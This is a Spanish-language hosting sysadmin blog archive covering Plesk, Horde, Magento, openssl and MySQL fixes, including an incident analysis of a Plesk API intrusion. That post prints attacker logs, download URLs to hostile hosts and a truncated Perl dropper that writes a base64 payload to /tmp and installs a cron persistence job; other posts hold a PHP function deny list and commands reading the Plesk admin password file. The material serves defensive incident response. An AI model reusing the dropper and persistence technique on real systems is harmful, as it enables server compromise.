Archive for the ‘Artículos’ category

Usando Horde con safe_mode para enviar por smtp y no usar sendmail

March 15th, 2012

Seguramente esté muy documentado ya por ahí pero es muy recomendable dejar de usar horde bajo sendmail con el fin de securizar la máquina. Con el cambio que comentamos a continuación, evitamos tener que ejecutar comandos en la máquina local, ya que el correo lo enviamos vía smtp al servidor local o a cualquier otro servidor que configuremos.

Resumen rápido:

Deshabilitamos la mayor parte de funciones potencialmente peligrosas para el sistema.
Esto implica que fallen algunas aplicaciones, como Horde

# /etc/php5/apache2/php.ini)
disable_functions = system,passthru,readfile,escapeshellarg,proc_close,proc_open,ini_alter,dl,show_source,curl_exec

La alternativa elegante sería activar safe_mode y dejar de usar sendmail, como vemos en el fragmento de la configuración de Horde:

# fragmento de la configuracion de horde
# /etc/psa-webmail/horde/horde/conf.p
if (ini_get("safe_mode") == "1") { // Safe mode in action
$conf['mailer']['params']['host'] = '127.0.0.1';
$conf['mailer']['params']['port'] = 25;
$conf['mailer']['params']['auth'] = false;
$conf['mailer']['type'] = 'smtp';
} else {
$conf['mailer']['params']['sendmail_path'] = '/usr/sbin/sendmail';
$conf['mailer']['params']['sendmail_args'] = '-oi';
$conf['mailer']['type'] = 'sendmail';
}

En Plesk10 se han definido plantillas para los servicios de forma que aunque cambiasemos los ficheros de configuarción de apache estos cambios se terminarían machacando y volveríamos al estado por defecto.

Para ello, Plesk ha provisto un repositorio de plantillas para configurar los servicios en /usr/local/psa/admin/conf/templates/

Para reconfigurar la plantilla tenemos aqui un copy&paste muy cómodo, como siempre nos gusta:

# reemplazar safe_mode en la plantilla
sed -i 's/safe_mode off/safe_mode on/g' /usr/local/psa/admin/conf/templates/default/horde.php
# reconfigurar las plantillas
/usr/local/psa/admin/bin/httpdmng --reconfigure-server
# recargar el servicio
apache2ctl graceful

Para probarlo es necesario cerrar la sesión de Horde y volver a autenticarse.

Vulnerabilidad CRÍTICA en la API de Plesk

March 5th, 2012

Hace unas semanas se notificó por parte de Parallels un fallo crítico en el su software de panel de control de hosting: Plesk. Hicimos referencia a la nota en nuestro blog http://hostingaldescubierto.com/wordpress/2012/02/10/plesk-fallo-critico-de-seguridad-sql-injection/

Reciemiente hemos tenido accesos a una máquina usando este fallo de seguridad y vamos a compartir con vosotros algunas observaciones de estos accesos:

En el sistema se observan procesos perl no habituales, con lo que procedemos a buscar el origen del mismo con lsof y el resultado es que el origen del proceso pertenece a “/tmp/…” y se se ha eliminado. Ya esto nos da una idea de que el proceso no es para nada un proceso autorizado.

Verificamos /tmp y /var/tmp donde encontramos algunos ficheros ajenos al sistema pero sin contenido.

Si nos enganchamos al proceso , podemos ver que constantemente se está descargando ficheros de diversas urls con wget:


https://eycgkhkxfs.tmdnzapomk.info:1905//b/index.php?id=...

https://94.23.208.20:1905//b/index.php?id

https://rqckfdgumv.sxobnmbjzb.info:1905//b/index.php?...

Después de consultar algunas fuentes ( gracias Logan ) vemos que en los ficheros de logs de panel de control de plesk en /usr/local/psa/admin/logs/httpsd_access_log tenemos llamadas al fichero agent.php de la api de Plesk y posteriormente accesos al panel de control donde se suben ficheros a diversos dominios.

httpsd_access_log.processed.1.gz:78.139.244.50 dd.com:8443 - [13/Feb/2012:00:33:05 +0100] "POST /enterprise/control/agent.php HTTP/1.1" 200 74360 "-" "-"
httpsd_access_log.processed.1.gz:78.139.244.50 dd.com:8443 - [13/Feb/2012:03:04:52 +0100] "POST /enterprise/control/agent.php HTTP/1.1" 200 74360 "-" "-"
httpsd_access_log.processed.1.gz:78.139.244.50 dd.com:8443 - [13/Feb/2012:03:37:21 +0100] "POST /enterprise/control/agent.php HTTP/1.1" 200 74360 "-" "-"
110.136.186.229 x.x.x.x:8443 - [19/Feb/2012:05:12:37 +0100] "POST /login_up.php3 HTTP/1.1" 200 966 "https://x.x.x.x:8443/" "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; 3301; MyIE2)"
110.136.186.229 x.x.x.x:8443 - [19/Feb/2012:05:12:42 +0100] "GET /plesk/client@3/domain@/?context=domains HTTP/1.1" 200 29327 "-" "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; 3301; MyIE2)"
110.136.186.229 x.x.x.x:8443 - [19/Feb/2012:05:12:50 +0100] "GET /plesk/client@3/domain@222/hosting/file-manager/?cmd=chdir&file=%2Fcgi-bin%2F HTTP/1.1" 200 39293 "-" "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; 3301; MyIE2)"
110.136.186.229 x.x.x.x:8443 - [19/Feb/2012:05:13:06 +0100] "POST /plesk/client@3/domain@222/hosting/file-manager/create-file/ HTTP/1.1" 303 0 "-" "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; 3301; MyIE2)"

y dentro del dominio en la carpeta /cgi-bin/ vemos ficheros .cgi con el contenido de los scripts que el atacante ha subido.

Un fragmento de uno de los scripts nos indica que los procesos ejecutados en el sistema provienen de esos ficheros

open(OLD_UNIX, ">", "/tmp/.X11-unix");
print OLD_UNIX decode_base64("....L....");
close(OLD_UNIX);
system("echo '* * * * * perl /tmp/.X11-unix >/dev/null 2>&1' >
/tmp/cron.d ; crontab /tmp/cron.d ; rm /tmp/cron.d");
system("perl /tmp/.X11-unix");
print "exdone\n";

Como medidas para prevenir este fallo de seguridad hay que actualizar Plesk aplicando los microupdates.
Reviar /var/spool/cron aunque en nuestro caso no se han encontrado crontabs ajenos.
Es recomendable también ajustar los permisos para wget, curl y get

http://kb.parallels.com/en/113321

En breve daremos más detalles de las evidencias obtenidas.

[xploit] Grave fallo de seguridad en el kernel 2.6

September 23rd, 2010

Aunque llegamos tarde para anunciar la noticia, es necesario comentar aquí la necesidad de aplicar los parches que salieron hace dos días 21 de Septiembre que corrijen un grabe fallo de seguridad en los kernels 2.6 bajo máquinas con arquitectura x86_64.

El fallo se puede explotar localmente en la máquina y consiste en acceder vía  “compat_alloc_user_space()” esta función no está correctamente securizada y no se verifican los tamaños de los punteros con lo que se puede hacer un buffer overflow y todo lo que ello conlleva… Al parecer el fallo lleva 2 años en el kernel y no fué comunicado en todo este tiempo por la gente que ha desarrollado el xploit pero sí lo han utilizado para su beneficio propio:

  • Signed-off-by: David L Stevens <dlstevens@us.ibm.com>
  • Signed-off-by: YOSHIFUJI Hideaki <yoshfuji@linux-ipv6.org>
  • Signed-off-by: David S. Miller <davem@davemloft.net>

El exploit lo podeis localizar en ABftw.c al menos se han preocupado de eliminar las partes jugosas para que los scriptkidies no hagan de las suyas.

Más interesante que leerse el exploit es comprobar que tu máquina no esté infectada y para ello debes descargar este binario y ejecutarlo con un usuario que no sea root ( recuerda que es sólo para máquinas x86_64 ->  uname -p  )


$ wget -N https://www.ksplice.com/support/diagnose-2010-3081
$ chmod +x diagnose-2010-3081
$ ./diagnose-2010-3081
Diagnostic tool for public CVE-2010-3081 exploit — Ksplice, Inc.
(see http://www.ksplice.com/uptrack/cve-2010-3081)

$$$ Kernel release: 2.6.18-194.11.3.el5
$$$ Backdoor in LSM (1/3): checking…not present.
$$$ Backdoor in timer_list_fops (2/3): not available.
$$$ Backdoor in IDT (3/3): checking…not present.

Your system is free from the backdoors that would be left in memory
by the published exploit for CVE-2010-3081.

Para evitar que se explote el fallo hay una solución que lo mitiga y consiste en no permitir ejecutar binarios x86 o i386 en la máquina usando esta linea


# echo ‘:32bits:M::\x7fELF\x01::/bin/echo:’ > /proc/sys/fs/binfmt_misc/register

Provoca que los binarios de 32 bits sólo hagan un “echo” con su nombre de fichero y sus parámetros. El problema es que necesites algunos binarios de 32 bits como es el caso del drweb-update.

De todas formas ya hay kernel nuevo para instalar, reiniciar y listo.

Más información en :

https://access.redhat.com/kb/docs/DOC-40265
https://www.ksplice.com/uptrack/cve-2010-3081
https://rhn.redhat.com/errata/RHSA-2010-0704.html
https://rhn.redhat.com/errata/RHSA-2010-0705.html
http://seclists.org/fulldisclosure/2010/Sep/268

[magento] PHP Fatal error: Exception thrown without a stack frame in Unknown on line 0

July 8th, 2010

Estos últimas días hemos tenido que optimizar la carga de servidores con Magento. Una de las tareas es usar un sistema de caché que acelere los scripts php. Usamos apc por compatibilidad con Magento y por que ya viene paquetizado en los repositorios de Debian.

El problema, aparece en el pié de página: “PHP Fatal error:  Exception thrown without a stack frame in Unknown on line 0″.
Este error aparece cuando se ha lanzado una excepcion en un lugar donde se no se puede lanzar una excepción por no tener ‘stack frame‘.

Los manejadores de excepciones ‘ exception handlers‘ y los destructores no tienen ‘stack frame‘.
Por lo que combinar por ejemplo un ‘execption handler‘ con un ‘error preporting‘  o lanzar un execption en un destructor puede provocar que aparezcan. Os podeis documentar más en este interesante enlace Solving “Fatal error: Exception thrown without a stack frame in Unknown on line 0″

En nuestro caso, tan solo hizo falta acutalizar la version del apc con un simple apt


apt-get install php-apc

En la máquina estaba previamente instalado el apc vía pecl

La Rebelión de los spammers

March 30th, 2010

La Rebelión de los spammers es un interesante artículo de David Barroso que leí hace años y ahora lo he vuelto a encontrar por casualidad. El documento habla de la metodología que usa para localizar e identificar procesos maliciosos, cómo identifica el fallo de seguridad, y análisis del enemigo. Se detalla el uso de herramientas de sistema lsof, strace, etc.. etc… Aunque para muchos este tipo de tareas es trivial por realizarlas a diario, no deja de ser un documento interesante para leer.

Dejo copia en el servidor del documento que he localizado en http://his.sourceforge.net/proy_his/papers/spammers/spammers.es.html del proyecto Honeynet In Spanish aparantemente muerto en 2006

El documento lo podeis encontrar en http://www.hostingaldescubierto.com/rebelion-spammers/spammers.es.html

[ALERTA] No actualizar servidores Plesk 9.3 a openssl 0.9.8e-12.el5_4.6 – ACTUALIZADO

March 29th, 2010

La nueva versión de openssl ( 0.9.8e-12.el5_4.6 ) está ocasionando problemas con Plesk 9.3.0.

El síntoma es que el demonio sw-cp-server falla al arrancar:


/etc/init.d/sw-cp-server restart
Restarting SWsoft control panels server... stale pidfile. [FAILED]dfile.

En el log de swp-cp-server pemos observar estas lineas :


tail /var/log/sw-cp-server/error_log
2010-03-29 12:50:48: (log.c.75) server started
2010-03-29 12:50:48: (network.c.336) SSL: error:00000000:lib(0):func(0):reason(0)
2010-03-29 12:50:51: (log.c.75) server started
2010-03-29 12:50:51: (network.c.336) SSL: error:00000000:lib(0):func(0):reason(0)
2010-03-29 12:50:51: (log.c.75) server started
2010-03-29 12:50:51: (network.c.336) SSL: error:00000000:lib(0):func(0):reason(0)
2010-03-29 12:59:46: (log.c.75) server started
2010-03-29 12:59:46: (network.c.336) SSL: error:00000000:lib(0):func(0):reason(0)
2010-03-29 12:59:46: (log.c.75) server started
2010-03-29 12:59:46: (network.c.336) SSL: error:00000000:lib(0):func(0):reason(0)

Por ahora se recomienda reinstalar la versión anterior ( openssl-0.9.8e-12.el5_4.1 disponible aqui )


yum downgrade openssl*

Actualización:
En caso de estar usando un vps puede realizar los siguientes pasos:


rpm –erase –nodeps openssl-0.9.8e-12.el5_4.6

puede encontrarse con este error si usa arquitectura x86_65

rpm –erase –nodeps openssl-0.9.8e-12.el5_4.6
error: “openssl-0.9.8e-12.el5_4.6″ specifies multiple packages

En este caso proceder la manera siguiente:

rpm –erase openssl-0.9.8e-12.el5_4.6.x86_64 –nodeps
rpm –erase openssl-0.9.8e-12.el5_4.6 –nodeps

y para instalar la versión válida:

vzpkg install VEID -p openssl-0.9.8e-12.el5_4.1.x86_64

o descargar el rpm e instalar dentro del vps

cd /usr/src
wget ftp://ftp.pbone.net/mirror/ftp.centos.org/5.4/updates/x86_64/RPMS/openssl-0.9.8e-12.el5_4.1.x86_64.rpm
rpm -ivh openssl-0.9.8e-12.el5_4.1.x86_64.rpm

y reiniciar el servicio


/etc/init.d/sw-cp-server restart

Esperamos que en breve Parallels libere una actualización para corregir el problema.

ACTUALIZACION 2

Cuidado si eliminas los rpm de openssl antes de tener el nuevo rpm ya puedes encontrarte con cosas así:


wget ftp://ftp.pbone.net/mirror/ftp.centos.org/5.4/updates/x86_64/RPMS/openssl-0.9.8e-12.el5_4.1.x86_64.rpm
wget: error while loading shared libraries: libssl.so.6: cannot open shared object file: No such file or directory

empiezan los sudores….


# curl ftp://ftp.pbone.net/mirror/ftp.centos.org/5.4/updates/x86_64/RPMS/openssl-0.9.8e-12.el5_4.1.x86_64.rpm
curl: error while loading shared libraries: libssl.so.6: cannot open shared object file: No such file or directory

más sudor frío ….


$ scp openssl-0.9.8e-12.el5_4.1.x86_64.rpm root@10.0.1.1:/root
ssh_exchange_identification: Connection closed by remote host
lost connection

con esto ya te quedas blanco ;)


# /etc/init.d/sshd restart
Stopping sshd: [FAILED]
Starting sshd: /usr/sbin/sshd: error while loading shared libraries: libcrypto.so.6: cannot open shared object file: No such file or directory
[FAILED]

Por supuesto yum tampoco funciona, así que si tenemos aún una sesión abierta lo vamos a solucionar facilmente así :


GET ftp://ftp.pbone.net/mirror/ftp.centos.org/5.4/updates/x86_64/RPMS/openssl-0.9.8e-12.el5_4.1.x86_64.rpm > openssl-0.9.8e-12.el5_4.1.x86_64.rpm
rpm -ivh openssl-0.9.8e-12.el5_4.1.x86_64.rpm

PARCHES
Parallels ha publicado los parches correspondientes a este problema en
http://kb.parallels.com/en/8338

[ayuda magento] Errores al importar base de datos magento

January 8th, 2010

Magento es un software en auge entre los interesados en montar tiendas virtuales. Parece que Oscommerce ya tiene un sustituto fuerte, bien diseñado, estructurado, mvc, modulable y con pasarelas de pago maduras.
Uno de los problemas es que requiere php 5.2. Como muchos sabrán php 4 dejó de ser soportada hace años, pero aún existen distribuciones que oficialmente distribuyen la php 5.0 o 5.1 en su rama estable. Este es el caso de Centos 5 / RHEL 5 que necesita de repositorios no oficiales para subir a version php 5.2.

Bien, puestos en situación, el caso  se nos ha presentado un caso extraño de consumo de memoria desorbitado y totalmente desconcertante. Después de realizar todo tipo de pruebas para localizar este agujero negro de ram, hemos decidido cambiar a otro servidor basado en Debian que sí distribuyen php 5.2 en su rama ‘stable‘.

La migración ha sido un poco más problemática de lo habitual ya que Magento está muy preparado para el control de errores y no suelta los errores como habitualmente en error_log o en consola. Por ello hay que activar las siguientes lineas en index.php:

  • Mage::setIsDeveloperMode(true);
  • ini_set(‘display_errors’, 1);

De esta forma, sí nos vuelca los errores pon pantalla pero usando un manejador del propio Magento.

Otra piedra en el camino para el cambio del servidor ha sido este error con los índices de mysql

ERROR 1064 (42000) at line 25: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'USING BTREE
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8' at line 10

Al parecer hay algún pequeño cambio de como definir el indice basado en BTREE ( acelera las búsquedas ) y no son totalmente compatibles la versión de Centos ( mysql 5.1 ) y la Debian ( mysql 5.0) . Si existe algún bug abierto en Debian, lo desconozco, aunque lo buscaré :D

La linea original del volcado es PRIMARY KEY (`actualidad_id`) USING BTREE y debe ser sustituida por PRIMARY KEY  USING BTREE (`actualidad_id`) para los más cómodos :

sed -i 's/PRIMARY KEY (`actualidad_id`) USING BTREE/PRIMARY KEY  USING BTREE (`actualidad_id`)/' volcado.sql

Igualmente para este otro error:

ERROR 1064 (42000) at line 390: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'USING BTREE,
 KEY `FK_ATTRIBUTE_VARCHAR_ENTITY` (`entity_id`),
 KEY `FK_CATALO' at line 9

el cambio sería :

mysql 5.1 UNIQUE KEY `IDX_BASE` (`entity_type_id`,`entity_id`,`attribute_id`,`store_id`) USING BTREE,
mysql 5.0 UNIQUE KEY `IDX_BASE` USING BTREE (`entity_type_id`,`entity_id`,`attribute_id`,`store_id`),

sed -i 's/UNIQUE KEY `IDX_BASE` (`entity_type_id`,`entity_id`,`attribute_id`,`store_id`) USING BTREE,/UNIQUE KEY `IDX_BASE` USING BTREE (`entity_type_id`,`entity_id`,`attribute_id`,`store_id`),/' volcado

Más información acerca de la sintaxis de mysql en http://dev.mysql.com/doc/refman/5.0/en/create-table.html

[magento] cambiar usuario y contraseña de la base de datos

December 22nd, 2009

Para cambiar los datos de acceso a la base de datos que usa la instalación de Magento hay que editar el fichero :

/app/etc/local.xml

La estructura del fichero es la siguiente :

<config>
    <global>
        <install>
            <date><![CDATA[Tue, 14 Jul 2009 16:19:11 +0000]]></date>
        </install>
        <crypt>
            <key><![CDATA[g41f732d5dc4abfb174c73bb76cc0670]]></key>
        </crypt>
        <disable_local_modules>false</disable_local_modules>
        <resources>
            <db>
                <table_prefix><![CDATA[]]></table_prefix>
            </db>
            <default_setup>
                <connection>
                    <host><![CDATA[localhost]]></host>
                    <username><![CDATA[user_name]]></username>
                    <password><![CDATA[user_password]]></password>
                    <dbname><![CDATA[data_base_name]]></dbname>
                    <active>1</active>
                </connection>
            </default_setup>
        </resources>
        <session_save><![CDATA[files]]></session_save>
    </global>
    <admin>
        <routers>
            <adminhtml>
                <args>
                    <frontName><![CDATA[admin]]></frontName>
                </args>
            </adminhtml>
        </routers>
    </admin>
</config>

[mysql] Reparar todas las tablas de todas las bases de datos

December 22nd, 2009

Para reparar todas las tablas de todas las bases de datos ( teniendo en cuenta que usamos Pleks ) en una sola linea tienes este churro:

for database in $(mysql --skip-column-names -uadmin -p`cat /etc/psa/.psa.shadow` -e "show databases" ); do echo "optmizing tables from $database"; for table in $(mysql --skip-column-names -uadmin -p`cat /etc/psa/.psa.shadow` -e "show tables" $database ); do echo "-> $table " ; mysql -uadmin -p`cat /etc/psa/.psa.shadow` -e "OPTIMIZE TABLE $table" $database ; done ; done ;

ayuda plesk : error al borrar un dominio

November 30th, 2009

Un error que sigue apareciendo aunque pasen versiones y versiones de Plesk ( desde la 7.4 a la 9.2 ) es la perdida de integridad referencial en algunas tablas. Esto provoca que a la hora de ejectuar algunas herramientas y falten datos se generen errores. En ese caso al borrar el dominio ‘delete.me’ nos aparece este mensaje :

0: class.MailManager.php:242
        MailManager::execWithException(string 'smart_exec', string 'mailmng', array, array, string 'lst')
1: class.MailManager.php:274
        MailManager->callMailManager(string 'remove-mailname', array)
2: class.MailManager.php:354
        MailManager->removeMailname(string 'sharoj.com', string 'delete')
3: cmd_mail.php3:1357
        mn_del(string '490')
4: class.DSMail.php:211
        DSMail->delete(boolean false)
5: class.PhDomain.php:358
        PhDomain->reset(integer '0', boolean true, boolean false)
6: class.BsDomain.php:330
        BsDomain->reset(integer '0')
7: class.BsDomain.php:302
      BsDomain->delete(integer '0')
8: class.BsDomain.php:536
        mdeleteDomains(array)
9: removeDomains.php3:42
        require(string '/opt/psa/admin/htdocs/domains/removeDomains.php3')
10: plesk.php:51

Tendremos que buscar manualmente donde está el problema y repararlo , directamente a la base de datos.

Comenzamos a buscar relaciones rotas entre objetos:

# mysql -uadmin -p`cat /etc/psa/.psa.shadow` psa
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 152938
Server version: 5.0.32-Debian_7etch10-log Debian etch distribution

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql> select id, name from domains where name = "delete.me";
+------+------------+
| id   | name       |
+------+------------+
| 1241 | delete.me  |
+------+------------+
1 row in set (0.00 sec)

Ya tenemos el ID del dominio, nos centramos en las cuentas de correo ya que el error se genera al borrar cuentas de correo. Vamos a ver que tablas hay en esta version de Plesk ( 9.2.3 )

mysql> show tables like '%mail%' ;
+------------------------+
| Tables_in_psa (%mail%) |
+------------------------+
| Webmails               |
| badmailfrom            |
| mail                   |
| mail_aliases           |
| mail_redir             |
| mail_resp              |
| mass_mail              |
| mass_mail_clients      |
| mass_mail_domains      |
+------------------------+
9 rows in set (0.00 sec)

La tabla que nos interesa es mail vamos a ver que esctructura tiene y vamos sacando datos:

mysql> desc mail ;
+---------------+------------------------------------------+------+-----+---------+----------------+
| Field         | Type                                     | Null | Key | Default | Extra          |
+---------------+------------------------------------------+------+-----+---------+----------------+
| id            | int(10) unsigned                         | NO   | PRI | NULL    | auto_increment |
| mail_name     | varchar(245)                             | NO   |     |         |                |
| perm_id       | int(10) unsigned                         | NO   | MUL |         |                |
| postbox       | enum('false','true')                     | NO   |     | false   |                |
| account_id    | int(10) unsigned                         | NO   | MUL |         |                |
| redirect      | enum('false','true')                     | NO   |     | false   |                |
| redir_addr    | varchar(255)                             | YES  |     | NULL    |                |
| mail_group    | enum('false','true')                     | NO   |     | false   |                |
| autoresponder | enum('false','true')                     | NO   |     | false   |                |
| spamfilter    | enum('false','true')                     | NO   |     | true    |                |
| virusfilter   | enum('none','incoming','outgoing','any') | NO   |     | none    |                |
| mbox_quota    | bigint(20)                               | NO   |     | -1      |                |
| dom_id        | int(10) unsigned                         | NO   | MUL |         |                |
+---------------+------------------------------------------+------+-----+---------+----------------+
13 rows in set (0.01 sec)

mysql> select * from mail where dom_id = 1241;
+-----+-----------+---------+---------+------------+----------+------------+------------+---------------+------------+-------------+------------+--------+
| id  | mail_name | perm_id | postbox | account_id | redirect | redir_addr | mail_group | autoresponder | spamfilter | virusfilter | mbox_quota | dom_id |
+-----+-----------+---------+---------+------------+----------+------------+------------+---------------+------------+-------------+------------+--------+
| 490 | delete.me |    2202 | true    |       2204 | false    |            | false      | false         | false      | incoming    |         -1 |   1241 |
+-----+-----------+---------+---------+------------+----------+------------+------------+---------------+------------+-------------+------------+--------+
1 row in set (0.00 sec)

Vemos que tiene al menos una cuenta de correo para el usuario 2204, vamos a buscar este usuario en la tabla accounts, ya que el id es accounts_id

mysql> show tables like '%acco%'
    -> ;
+------------------------+
| Tables_in_psa (%acco%) |
+------------------------+
| accounts               |
+------------------------+
1 row in set (0.00 sec)

mysql> select * from accounts where id = 2204 ;
Empty set (0.01 sec)

Pues no está, aquí tenemos el problema, no existe la información del usuario pero sí el buzón.
lo más comodo es borar la entrada en la base de datos de la cuenta de correo. Dado que vamos a borrar el dominio nos es indiferente conservarlo.

mysql> delete from mail where id =490 limit 1 ;
Query OK, 1 row affected (0.03 sec)

De otra forma , habíamos dado de alta una fila en accounts con el id 2204 .